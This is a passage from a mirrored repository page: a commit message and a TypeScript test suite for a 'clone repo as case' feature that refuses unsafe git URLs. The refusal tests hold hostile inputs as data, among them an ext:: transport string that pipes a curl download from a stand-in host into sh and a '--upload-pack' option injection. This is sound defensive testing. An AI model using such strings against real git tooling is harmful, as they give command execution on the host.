mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 12:39:42 +02:00
Adds an Add Case -> "Clone Repo" tab plus two endpoints, implementing @DodgyBadger's proposal in #236: clone a public repository straight into codeman-cases/<name> and register it as a normal local case. POST /api/cases/clone is synchronous by design (request held open, bounded by GIT_CLONE_TIMEOUT_MS): no job store, no polling, no cancellation surface. Success broadcasts the usual case:created event, so the case still appears when a proxy idle-timeout kills the request mid-clone. POST /api/cases/clone-preflight runs `git ls-remote --symref` so the UI can say, while the user is still typing, whether the URL is cloneable without credentials, what its default branch is, and which branches/tags exist. Core lives in src/git-clone.ts, split into a pure half (URL parse, argv/env, ls-remote parse, stderr classification) and a thin IO half, so every security decision is unit-testable without spawning anything: - `<name>::<payload>` transports are refused as a family, not by name: ext:: is the famous one, but any of them dispatches to git-remote-<name> and turns a clone into arbitrary command execution. - A leading `-` is refused AND every spawn puts `--` before the operands. Either alone is one edit away from being a hole. - argv arrays, never a shell. URLs carrying user:password@ are refused. - gitNonInteractiveEnv() closes all four ways git can block on a prompt with no terminal attached (terminal prompt, askpass/GUI, ssh, GCM). HOME/PATH stay inherited, so a user's own credential helper or ssh agent keeps working; Codeman itself collects and stores nothing. - The timeout signals the process GROUP, since clone fans out into git-remote-https/index-pack children that outlive a signal to the parent. - Bounded output (redacted stderr tail, capped ls-remote stdout, 500 refs each) and a global 2-op pool, so N large clones cannot exhaust the host. Repository contents beat scaffolding: an existing CLAUDE.md is kept, hooks are merged into whatever .claude/settings.local.json the repo shipped, and a repo that ships its own Claude settings is reported back as a warning (those hooks run locally as soon as a session starts there). A failed clone removes only the directory the attempt created, and refuses a pre-existing destination outright, so it can never squat on a case name. Not admin-gated in multi-user mode, unlike /api/cases/link: it writes only inside the caller's own case space. Local-path/file:// sources are the exception and stay admin-only there. UI: live verdict under the URL field, case name filled from the parsed repo until the user types their own, branch/tag as a datalist of the remote's real refs, optional shallow clone, and a Brain picker (installed CLIs only) that points the Run button at the chosen agent. Starting a session stays opt-in. The tab hides itself when the server reports no git. Tests: the pure half exhaustively (every refusal has a case), plus real git against a real local bare repo for clone/ref/timeout/cleanup, and a route-level suite with unmocked fs that clones through the endpoint. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
430 lines
17 KiB
TypeScript
430 lines
17 KiB
TypeScript
/**
|
|
* @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
|
|
*
|
|
* Two halves, mirroring the module:
|
|
*
|
|
* 1. The PURE half — URL parsing (where the security decisions live), argv/env
|
|
* construction, `ls-remote` parsing and stderr classification. No spawning.
|
|
* 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
|
|
* the argv, the failure classification and the cleanup-on-failure path are all
|
|
* proven against git's actual behavior rather than a mock's idea of it. These
|
|
* skip themselves when git is unavailable (never silently pass: the pure
|
|
* assertions above still run).
|
|
*
|
|
* Port: N/A (no server).
|
|
*/
|
|
|
|
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
|
import { execFileSync } from 'node:child_process';
|
|
import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
|
import { tmpdir } from 'node:os';
|
|
import { join } from 'node:path';
|
|
import {
|
|
buildCloneArgs,
|
|
buildLsRemoteArgs,
|
|
classifyGitFailure,
|
|
cloneRepository,
|
|
getActiveGitOperationCount,
|
|
gitNonInteractiveEnv,
|
|
isGitAvailable,
|
|
isSafeGitRef,
|
|
parseGitRepositoryUrl,
|
|
parseLsRemoteOutput,
|
|
probeGitRemote,
|
|
sanitizeGitOutput,
|
|
suggestCaseNameFromRepo,
|
|
} from '../src/git-clone.js';
|
|
|
|
/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
|
|
function accepted(input: string) {
|
|
const parsed = parseGitRepositoryUrl(input);
|
|
if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
|
|
return parsed;
|
|
}
|
|
|
|
/** Narrow a parse result to the rejected branch. */
|
|
function rejected(input: string) {
|
|
const parsed = parseGitRepositoryUrl(input);
|
|
if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
|
|
return parsed;
|
|
}
|
|
|
|
describe('parseGitRepositoryUrl', () => {
|
|
it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
|
|
const parsed = accepted('https://github.com/Ark0N/Codeman.git');
|
|
expect(parsed.transport).toBe('https');
|
|
expect(parsed.host).toBe('github.com');
|
|
expect(parsed.owner).toBe('Ark0N');
|
|
expect(parsed.repo).toBe('Codeman');
|
|
expect(parsed.provider).toBe('GitHub');
|
|
expect(parsed.suggestedName).toBe('Codeman');
|
|
expect(parsed.warnings).toEqual([]);
|
|
});
|
|
|
|
it('accepts nested owner paths and a missing .git suffix', () => {
|
|
const parsed = accepted('https://gitlab.com/group/subgroup/project');
|
|
expect(parsed.owner).toBe('group/subgroup');
|
|
expect(parsed.repo).toBe('project');
|
|
expect(parsed.provider).toBe('GitLab');
|
|
});
|
|
|
|
it('accepts the scp-like SSH form', () => {
|
|
const parsed = accepted('git@github.com:owner/repo.git');
|
|
expect(parsed.transport).toBe('ssh');
|
|
expect(parsed.host).toBe('github.com');
|
|
expect(parsed.owner).toBe('owner');
|
|
expect(parsed.repo).toBe('repo');
|
|
// The advisory exists because an unconfigured key fails rather than prompts.
|
|
expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
|
|
});
|
|
|
|
it('accepts ssh:// with a port', () => {
|
|
const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
|
|
expect(parsed.transport).toBe('ssh');
|
|
expect(parsed.host).toBe('git.example.com:2222');
|
|
expect(parsed.repo).toBe('repo');
|
|
});
|
|
|
|
it('warns but accepts plain http and git://', () => {
|
|
expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
|
|
expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
|
|
});
|
|
|
|
it('accepts an absolute local path and file:// as a local clone', () => {
|
|
expect(accepted('/srv/repos/thing.git').transport).toBe('local');
|
|
expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
|
|
expect(accepted('file:///srv/repos/thing').transport).toBe('local');
|
|
});
|
|
|
|
// ── The refusals that matter ──────────────────────────────────────────────
|
|
|
|
it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
|
|
expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
|
|
expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
|
|
// Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
|
|
expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
|
|
});
|
|
|
|
it('REFUSES an option-shaped operand', () => {
|
|
expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
|
|
expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
|
|
});
|
|
|
|
it('REFUSES a URL carrying a password', () => {
|
|
expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
|
|
});
|
|
|
|
it('REFUSES unsupported schemes', () => {
|
|
expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
|
|
expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
|
|
});
|
|
|
|
it('REFUSES control characters and over-long input', () => {
|
|
expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
|
|
expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
|
|
});
|
|
|
|
it('REFUSES relative and ~ paths, and empty input', () => {
|
|
expect(rejected('./repo').code).toBe('BAD_SYNTAX');
|
|
expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
|
|
expect(rejected(' ').code).toBe('EMPTY');
|
|
expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
|
|
});
|
|
|
|
it('REFUSES a URL with no repository name', () => {
|
|
expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
|
|
});
|
|
});
|
|
|
|
describe('suggestCaseNameFromRepo', () => {
|
|
it('produces names the case-name validator accepts', () => {
|
|
expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
|
|
expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
|
|
expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
|
|
for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
|
|
const suggested = suggestCaseNameFromRepo(input);
|
|
if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
|
|
}
|
|
});
|
|
|
|
it('returns empty rather than inventing a name when nothing survives', () => {
|
|
expect(suggestCaseNameFromRepo('...')).toBe('');
|
|
expect(suggestCaseNameFromRepo('')).toBe('');
|
|
});
|
|
});
|
|
|
|
describe('isSafeGitRef', () => {
|
|
it('accepts real branch and tag names', () => {
|
|
for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
|
|
expect(isSafeGitRef(ref)).toBe(true);
|
|
}
|
|
});
|
|
|
|
it('rejects flags, traversal and revision syntax', () => {
|
|
for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
|
|
expect(isSafeGitRef(ref)).toBe(false);
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('buildCloneArgs / buildLsRemoteArgs', () => {
|
|
it('always separates operands with --', () => {
|
|
const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
|
|
expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
|
|
// The operands must sit AFTER the separator, always.
|
|
expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
|
|
expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
|
|
'ls-remote',
|
|
'--symref',
|
|
'--',
|
|
'https://example.com/r.git',
|
|
]);
|
|
});
|
|
|
|
it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
|
|
expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
|
|
'clone',
|
|
'--single-branch',
|
|
'--branch',
|
|
'v1',
|
|
'--depth',
|
|
'1',
|
|
'--',
|
|
'r',
|
|
'd',
|
|
]);
|
|
});
|
|
});
|
|
|
|
describe('gitNonInteractiveEnv', () => {
|
|
it('closes every interactive path that could hang an open request', () => {
|
|
const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
|
|
expect(env.GIT_TERMINAL_PROMPT).toBe('0');
|
|
expect(env.GIT_ASKPASS).toBe('');
|
|
expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
|
|
expect(env.DISPLAY).toBe('');
|
|
expect(env.GCM_INTERACTIVE).toBe('never');
|
|
expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
|
|
// HOME/PATH are inherited on purpose: a working ssh agent keeps working.
|
|
expect(env.HOME).toBe('/home/x');
|
|
expect(env.PATH).toBe('/usr/bin');
|
|
});
|
|
|
|
it("does not override a user's own GIT_SSH_COMMAND", () => {
|
|
expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
|
|
});
|
|
});
|
|
|
|
describe('parseLsRemoteOutput', () => {
|
|
it('extracts the default branch, branches and tags, dropping peeled tags', () => {
|
|
const parsed = parseLsRemoteOutput(
|
|
[
|
|
'ref: refs/heads/master\tHEAD',
|
|
'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
|
|
'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
|
|
'498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
|
|
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
|
|
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
|
|
'085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
|
|
'',
|
|
].join('\n')
|
|
);
|
|
expect(parsed.defaultBranch).toBe('master');
|
|
expect(parsed.branches).toEqual(['master', 'feat/x']);
|
|
expect(parsed.tags).toEqual(['v1.0.0']);
|
|
expect(parsed.truncated).toBe(false);
|
|
});
|
|
|
|
it('survives a remote with no HEAD symref', () => {
|
|
const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
|
|
expect(parsed.defaultBranch).toBeUndefined();
|
|
expect(parsed.branches).toEqual(['main']);
|
|
});
|
|
});
|
|
|
|
describe('classifyGitFailure', () => {
|
|
it('reports a missing git binary', () => {
|
|
expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
|
|
});
|
|
|
|
it('reports a timeout before looking at stderr', () => {
|
|
expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
|
|
});
|
|
|
|
it('recognizes the authentication wall in its several dialects', () => {
|
|
for (const stderr of [
|
|
"fatal: could not read Username for 'https://github.com': terminal prompts disabled",
|
|
'remote: Invalid username or password.',
|
|
'git@github.com: Permission denied (publickey).',
|
|
]) {
|
|
expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
|
|
}
|
|
});
|
|
|
|
it('says "not found OR private" rather than just "not found"', () => {
|
|
const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
|
|
expect(failure.code).toBe('NOT_FOUND');
|
|
expect(failure.message).toMatch(/private/i);
|
|
});
|
|
|
|
it('recognizes a missing ref and an unreachable host', () => {
|
|
expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
|
|
'REF_NOT_FOUND'
|
|
);
|
|
expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
|
|
'HOST_UNREACHABLE'
|
|
);
|
|
});
|
|
});
|
|
|
|
describe('sanitizeGitOutput', () => {
|
|
it('redacts credentials a helper may have echoed back', () => {
|
|
expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
|
|
"fatal: unable to access 'https://***:***@github.com/x.git/'"
|
|
);
|
|
});
|
|
|
|
it('strips control bytes and keeps the TAIL when over budget', () => {
|
|
expect(sanitizeGitOutput('a |